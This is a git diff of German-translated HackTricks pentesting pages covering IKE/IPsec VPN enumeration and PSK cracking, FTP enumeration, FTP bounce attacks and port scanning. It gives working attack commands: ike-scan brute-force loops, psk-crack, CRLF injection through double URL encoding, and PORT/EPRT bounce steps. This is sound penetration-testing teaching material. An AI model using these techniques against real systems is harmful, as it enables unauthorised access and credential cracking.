Dann ist das Erste, was Sie tun müssen, **eine gültige Transformation zu finden**, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool **ike-scan** verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen Vorschlag mit **acht Transformationen darin**.
|
||||
Dann ist das Erste, was Sie tun müssen, **eine gültige Transformation zu finden**, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool **ike-scan** verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzigen Vorschlag mit **acht Transformationen darin**.
|
||||
|
||||
Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten:
|
||||
```
|
||||
|
@ -63,20 +55,20 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\
|
||||
Wie Sie in der vorherigen Antwort sehen können, gibt es ein Feld namens **AUTH** mit dem Wert **PSK**. Das bedeutet, dass das VPN mit einem gemeinsamen Schlüssel konfiguriert ist (und das ist wirklich gut für einen Pentester).\
|
||||
**Der Wert der letzten Zeile ist ebenfalls sehr wichtig:**
|
||||
|
||||
* _0 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:_ Das bedeutet, dass das Ziel **kein IPsec-Gateway** ist.
|
||||
* _**1 zurückgegebene Handshake; 0 zurückgegebene Benachrichtigung:**_ Das bedeutet, dass das **Ziel für IPsec konfiguriert ist und bereit ist, IKE-Verhandlungen durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind** (eine gültige Transformation wird in der Ausgabe angezeigt).
|
||||
* _0 zurückgegebene Handshake; 1 zurückgegebene Benachrichtigung:_ VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn **keine der Transformationen akzeptabel ist** (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden).
|
||||
* _0 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung:_ Das bedeutet, dass das Ziel **kein IPsec-Gateway** ist.
|
||||
* _**1 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung:**_ Das bedeutet, dass das **Ziel für IPsec konfiguriert ist und bereit ist, IKE-Verhandlungen durchzuführen, und entweder eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind** (eine gültige Transformation wird in der Ausgabe angezeigt).
|
||||
* _0 zurückgegebener Handshake; 1 zurückgegebene Benachrichtigung:_ VPN-Gateways antworten mit einer Benachrichtigungsnachricht, wenn **keine der Transformationen akzeptabel ist** (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden).
|
||||
|
||||
Dann haben wir in diesem Fall bereits eine gültige Transformation, aber wenn Sie im 3. Fall sind, müssen Sie **ein wenig brute-forcen, um eine gültige Transformation zu finden:**
|
||||
In diesem Fall haben wir bereits eine gültige Transformation, aber wenn Sie im 3. Fall sind, müssen Sie **ein wenig brute-forcen, um eine gültige Transformation zu finden:**
|
||||
|
||||
Zuerst müssen Sie alle möglichen Transformationen erstellen:
|
||||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
Und dann jede einzelne mit ike-scan brute-forcen (das kann mehrere Minuten dauern):
|
||||
Und dann jede einzelne mit ike-scan brute-forcen (dies kann mehrere Minuten dauern):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
|
@ -99,7 +91,7 @@ Cisco empfiehlt, die Verwendung von DH-Gruppen 1 und 2 zu vermeiden, da sie nich
|
|||
|
||||
### Server-Fingerprinting
|
||||
|
||||
Dann können Sie ike-scan verwenden, um zu versuchen, **den Anbieter** des Geräts zu **entdecken**. Das Tool sendet einen ersten Vorschlag und hört auf zu wiederholen. Dann wird es die **Zeit**-Differenz **zwischen** den empfangenen **Nachrichten** vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale **Vendor ID (VID) Payload** mit IKE.
|
||||
Dann können Sie ike-scan verwenden, um zu versuchen, **den Anbieter** des Geräts zu **entdecken**. Das Tool sendet einen anfänglichen Vorschlag und hört auf zu wiederholen. Dann wird es die **Zeit**-Differenz **zwischen** den empfangenen **Nachrichten** vom Server und dem passenden Antwortmuster analysieren, sodass der Pentester erfolgreich den VPN-Gateway-Anbieter identifizieren kann. Darüber hinaus verwenden einige VPN-Server die optionale **Vendor ID (VID) Payload** mit IKE.
|
||||
|
||||
**Geben Sie die gültige Transformation an, falls erforderlich** (unter Verwendung von --trans)
|
||||
|
||||
|
@ -127,7 +119,7 @@ Dies kann auch mit dem nmap-Skript _**ike-version**_ erreicht werden.
|
|||
|
||||
## Finden der richtigen ID (Gruppenname)
|
||||
|
||||
Um den Hash erfassen zu können, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen.\
|
||||
Um den Hash erfassen zu dürfen, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, und die richtige ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-forcen.\
|
||||
Dazu empfehle ich Ihnen 2 Methoden:
|
||||
|
||||
### Bruteforcing ID mit ike-scan
|
||||
|
@ -150,7 +142,7 @@ Du kannst das [Wörterbuch von ikeforce](https://github.com/SpiderLabs/ikeforce/
|
|||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
Or use this dict (ist eine Kombination der anderen 2 Diktate ohne Wiederholungen):
|
||||
Or use this dict (ist eine Kombination der anderen 2 Dictionnaires ohne Wiederholungen):
|
||||
|
||||
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
||||
|
||||
|
@ -160,14 +152,14 @@ Or use this dict (ist eine Kombination der anderen 2 Diktate ohne Wiederholungen
|
|||
|
||||
### Bruteforcing ID mit ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ist ein Tool, das ebenfalls verwendet werden kann, um **IDs zu bruteforcen**. Dieses Tool wird **versuchen, verschiedene Schwachstellen auszunutzen**, die verwendet werden könnten, um **zwischen einer gültigen und einer ungültigen ID zu unterscheiden** (kann falsche Positiv- und Negativmeldungen haben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ist ein Tool, das ebenfalls verwendet werden kann, um **IDs zu bruteforcen**. Dieses Tool wird **versuchen, verschiedene Schwachstellen auszunutzen**, die verwendet werden könnten, um **zwischen einer gültigen und einer ungültigen ID zu unterscheiden** (kann falsche Positiv- und Negativ-Ergebnisse haben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich).
|
||||
|
||||
Standardmäßig wird **ikeforce** zu Beginn einige zufällige IDs senden, um das Verhalten des Servers zu überprüfen und die Taktik zu bestimmen, die verwendet werden soll.
|
||||
|
||||
* Die **erste Methode** besteht darin, die Gruppennamen durch **Suche** nach den Informationen **Dead Peer Detection DPD** von Cisco-Systemen zu bruteforcen (diese Informationen werden nur vom Server wiedergegeben, wenn der Gruppenname korrekt ist).
|
||||
* Die **zweite Methode**, die verfügbar ist, besteht darin, **die Anzahl der Antworten zu überprüfen, die auf jeden Versuch gesendet werden**, da manchmal mehr Pakete gesendet werden, wenn die korrekte ID verwendet wird.
|
||||
* Die **dritte Methode** besteht darin, nach **"INVALID-ID-INFORMATION" als Antwort auf eine falsche ID zu suchen**.
|
||||
* Schließlich, wenn der Server auf die Überprüfungen nichts zurücksendet, wird **ikeforce** versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server bei der korrekten ID mit einem Paket antwortet.\
|
||||
* Schließlich, wenn der Server auf die Überprüfungen nichts zurücksendet, wird **ikeforce** versuchen, den Server zu bruteforcen und zu überprüfen, ob der Server mit einem Paket antwortet, wenn die korrekte ID gesendet wird.\
|
||||
Offensichtlich besteht das Ziel des Bruteforcens der ID darin, den **PSK** zu erhalten, wenn Sie eine gültige ID haben. Dann müssen Sie mit der **ID** und dem **PSK** den XAUTH bruteforcen (wenn er aktiviert ist).
|
||||
|
||||
Wenn Sie eine spezifische Transformation entdeckt haben, fügen Sie sie im ikeforce-Befehl hinzu. Und wenn Sie mehrere Transformationen entdeckt haben, können Sie gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (Sie sollten sie alle ausprobieren, bis eine von ihnen richtig funktioniert).
|
||||
|
@ -201,7 +193,7 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
|
||||
**Aggressiver Modus IKE** kombiniert mit einem **Pre-Shared Key (PSK)** wird häufig für **Gruppenauthentifizierung** verwendet. Diese Methode wird durch **XAuth (Erweiterte Authentifizierung)** ergänzt, die eine zusätzliche Schicht der **Benutzerauthentifizierung** einführt. Diese Authentifizierung nutzt typischerweise Dienste wie **Microsoft Active Directory**, **RADIUS** oder vergleichbare Systeme.
|
||||
|
||||
Beim Übergang zu **IKEv2** ist ein bemerkenswerter Wandel zu beobachten, bei dem **EAP (Extensible Authentication Protocol)** anstelle von **XAuth** zur Authentifizierung von Benutzern verwendet wird. Diese Änderung unterstreicht eine Evolution der Authentifizierungspraktiken innerhalb sicherer Kommunikationsprotokolle.
|
||||
Beim Übergang zu **IKEv2** ist ein bemerkenswerter Wandel zu beobachten, bei dem **EAP (Erweiterbares Authentifizierungsprotokoll)** anstelle von **XAuth** zur Authentifizierung von Benutzern verwendet wird. Diese Änderung unterstreicht eine Evolution der Authentifizierungspraktiken innerhalb sicherer Kommunikationsprotokolle.
|
||||
|
||||
### Lokales Netzwerk MitM zur Erfassung von Anmeldeinformationen
|
||||
|
||||
|
@ -239,7 +231,7 @@ root@system:~# vpnc samplevpn
|
|||
VPNC started in background (pid: [PID])...
|
||||
root@system:~# ifconfig tun0
|
||||
```
|
||||
In diesem Setup:
|
||||
In dieser Konfiguration:
|
||||
|
||||
* Ersetzen Sie `[VPN_GATEWAY_IP]` durch die tatsächliche IP-Adresse des VPN-Gateways.
|
||||
* Ersetzen Sie `[VPN_CONNECTION_ID]` durch die Kennung für die VPN-Verbindung.
|
||||
|
@ -254,17 +246,12 @@ Stellen Sie sicher, dass tatsächliche, sichere Werte verwendet werden, um die P
|
|||
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Network Security Assessment 3rd Edition
|
||||
* Network Security Assessment 3. Auflage
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,32 +1,24 @@
|
|||
# 21 - Pentesting FTP
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Grundinformationen
|
||||
|
||||
Das **File Transfer Protocol (FTP)** dient als Standardprotokoll für den Dateitransfer über ein Computernetzwerk zwischen einem Server und einem Client.\
|
||||
Es ist ein **Klartext**-Protokoll, das als **neues Zeilenzeichen `0x0d 0x0a`** verwendet wird, sodass Sie manchmal **mit `telnet`** oder **`nc -C`** **verbinden müssen**.
|
||||
Es ist ein **Klartext**-Protokoll, das als **neues Zeilenzeichen `0x0d 0x0a`** verwendet, sodass Sie manchmal **mit `telnet`** oder **`nc -C`** **verbinden müssen**.
|
||||
|
||||
**Standardport:** 21
|
||||
```
|
||||
|
@ -35,11 +27,11 @@ PORT STATE SERVICE
|
|||
```
|
||||
### Verbindungen Aktiv & Passiv
|
||||
|
||||
In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP **Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients.
|
||||
In **Aktivem FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP-**Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients.
|
||||
|
||||
Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP.
|
||||
|
||||
In **Passiv FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zu Port M** des FTP-Servers.
|
||||
In **passivem FTP** initiiert der Client die Steuerungsverbindung von seinem Port N zum Port 21 des FTP-Servers. Danach gibt der Client einen **passv-Befehl** aus. Der Server sendet dann dem Client eine seiner Portnummern M. Und der **Client** **initiiert** die Daten-**verbindung** von **seinem Port P zum Port M** des FTP-Servers.
|
||||
|
||||
Quelle: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
|
@ -49,7 +41,7 @@ Die **FTP**-Befehle **`debug`** und **`trace`** können verwendet werden, um zu
|
|||
|
||||
## Enumeration
|
||||
|
||||
### Banner Grabbing
|
||||
### Banner-Grabbing
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
|
@ -136,7 +128,7 @@ Sie können sich mit einem FTP-Server über einen Browser (wie Firefox) mit eine
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelte URL-Codierung `%0d%0a` (in doppelter URL-Codierung ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen**, willkürliche Aktionen auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren.
|
||||
Beachten Sie, dass wenn eine **Webanwendung** Daten, die von einem Benutzer kontrolliert werden, **direkt an einen FTP-Server** sendet, Sie doppelte URL-Codierung `%0d%0a` (in doppelter URL-Codierung ist dies `%250d%250a`) Bytes senden können und den **FTP-Server dazu bringen können, willkürliche Aktionen** auszuführen. Eine dieser möglichen willkürlichen Aktionen besteht darin, Inhalte von einem vom Benutzer kontrollierten Server herunterzuladen, Port-Scans durchzuführen oder zu versuchen, mit anderen auf Klartext basierenden Diensten (wie http) zu kommunizieren.
|
||||
|
||||
## Alle Dateien vom FTP herunterladen
|
||||
```bash
|
||||
|
@ -152,7 +144,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`USER benutzername`**
|
||||
* **`PASS passwort`**
|
||||
* **`HELP`** Der Server zeigt an, welche Befehle unterstützt werden
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\* Dies wird dem FTP-Server anzeigen, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_Sie müssen das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_).
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\* Dies wird dem FTP-Server anzeigen, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_du musst das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\* Dies wird dem FTP-Server anzeigen, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**.
|
||||
* **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner
|
||||
* **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt)
|
||||
|
@ -161,42 +153,42 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
* **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen.
|
||||
* **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung
|
||||
* **`REST 6`** Dies wird dem Server anzeigen, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll.
|
||||
* **`TYPE i`** Setzt die Übertragung auf binär
|
||||
* **`TYPE i`** Setze den Transfer auf binär
|
||||
* **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann
|
||||
* **`PUT /tmp/file.txt`** Hochladen der angegebenen Datei auf das FTP
|
||||
* **`PUT /tmp/file.txt`** Lade die angegebene Datei auf den FTP hoch
|
||||
|
||||
![](<../../.gitbook/assets/image (386).png>)
|
||||
|
||||
## FTPBounce-Angriff
|
||||
|
||||
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server geöffnet sind.
|
||||
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass du dich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchtest. Dann kannst du dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind.
|
||||
|
||||
[**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md)
|
||||
|
||||
Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\
|
||||
Du könntest dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Du könntest **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\
|
||||
Die Theorie ist einfach:
|
||||
|
||||
1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen.
|
||||
2. **Verwenden Sie `REST X`, um das Senden der Zeichen zu vermeiden, die Sie nicht senden möchten** (vielleicht um die Anfrage in die Datei hochzuladen, mussten Sie am Anfang einige Bildheader einfügen).
|
||||
3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden.**
|
||||
4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.**
|
||||
1. **Lade die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denk daran, dass du, wenn du mit einem anderen HTTP- oder FTP-Server kommunizieren möchtest, die Zeilen mit `0x0d 0x0a` ändern musst.
|
||||
2. **Verwende `REST X`, um das Senden der Zeichen zu vermeiden, die du nicht senden möchtest** (vielleicht musstest du, um die Anfrage in die Datei hochzuladen, einige Bildheader am Anfang hinzufügen).
|
||||
3. **Verwende `PORT`, um dich mit dem beliebigen Server und Dienst zu verbinden.**
|
||||
4. **Verwende `RETR`, um die gespeicherte Anfrage an den Server zu senden.**
|
||||
|
||||
Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind:
|
||||
Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um das zu vermeiden, sind:
|
||||
|
||||
* Wenn Sie eine HTTP-Anfrage senden, **setzen Sie die gleiche Anfrage nacheinander** bis **\~0,5 MB** mindestens. So:
|
||||
* Wenn du eine HTTP-Anfrage sendest, **setze die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So:
|
||||
|
||||
{% file src="../../.gitbook/assets/posts.txt" %}
|
||||
posts.txt
|
||||
{% endfile %}
|
||||
|
||||
* Versuchen Sie, **die Anfrage mit "Müll"-Daten, die sich auf das Protokoll beziehen, zu füllen** (bei FTP vielleicht nur Müllbefehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten).
|
||||
* Füllen Sie die Anfrage einfach **mit vielen Nullzeichen oder anderen** (getrennt in Zeilen oder nicht).
|
||||
* Versuche, die Anfrage mit "Müll"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn du mit FTP sprichst, vielleicht nur Müllbefehle oder wiederhole die `RETR`-Anweisung, um die Datei zu erhalten).
|
||||
* Fülle die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**.
|
||||
|
||||
Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies missbraucht, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md)
|
||||
Wie auch immer, hier hast du ein [altes Beispiel, wie man dies missbrauchen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Filezilla-Server-Sicherheitsanfälligkeit
|
||||
|
||||
**FileZilla** bindet normalerweise **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn Sie einen **Tunnel** von **Ihrem Rechner** zu diesem Port erstellen können, können Sie sich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
|
||||
**FileZilla** bindet normalerweise an **lokal** einen **Administrationsdienst** für den **FileZilla-Server** (Port 14147). Wenn du einen **Tunnel** von **deinem Rechner** zu diesem Port erstellen kannst, kannst du dich mit einem **leeren Passwort** verbinden und einen **neuen Benutzer** für den FTP-Dienst erstellen.
|
||||
|
||||
## Konfigurationsdateien
|
||||
```
|
||||
|
@ -224,17 +216,8 @@ Die Standardkonfiguration von vsFTPd kann in `/etc/vsftpd.conf` gefunden werden.
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## HackTricks Automatische Befehle
|
||||
```
|
||||
Protocol_Name: FTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 21 #Comma separated if there is more than one.
|
||||
|
|
|
@ -15,25 +15,17 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manuell
|
||||
|
||||
1. Verbinden Sie sich mit dem anfälligen FTP
|
||||
2. Verwenden Sie **`PORT`** oder **`EPRT`** (aber nur eines von beiden), um eine Verbindung mit der _\<IP:Port>_ herzustellen, die Sie scannen möchten:
|
||||
2. Verwenden Sie \*\*`PORT`\*\* oder **`EPRT`** (aber nur eines von beiden), um eine Verbindung mit dem _\<IP:Port>_ herzustellen, den Sie scannen möchten:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. Verwenden Sie **`LIST`** (dies sendet nur die Liste der aktuellen Dateien im FTP-Ordner an die verbundene _\<IP:Port>_) und überprüfen Sie die möglichen Antworten: `150 File status okay` (Das bedeutet, der Port ist offen) oder `425 No connection established` (Das bedeutet, der Port ist geschlossen)
|
||||
1. Anstelle von `LIST` könnten Sie auch **`RETR /file/in/ftp`** verwenden und nach ähnlichen `Open/Close`-Antworten suchen.
|
||||
4. Anstelle von `LIST` könnten Sie auch **`RETR /file/in/ftp`** verwenden und nach ähnlichen `Open/Close`-Antworten suchen.
|
||||
|
||||
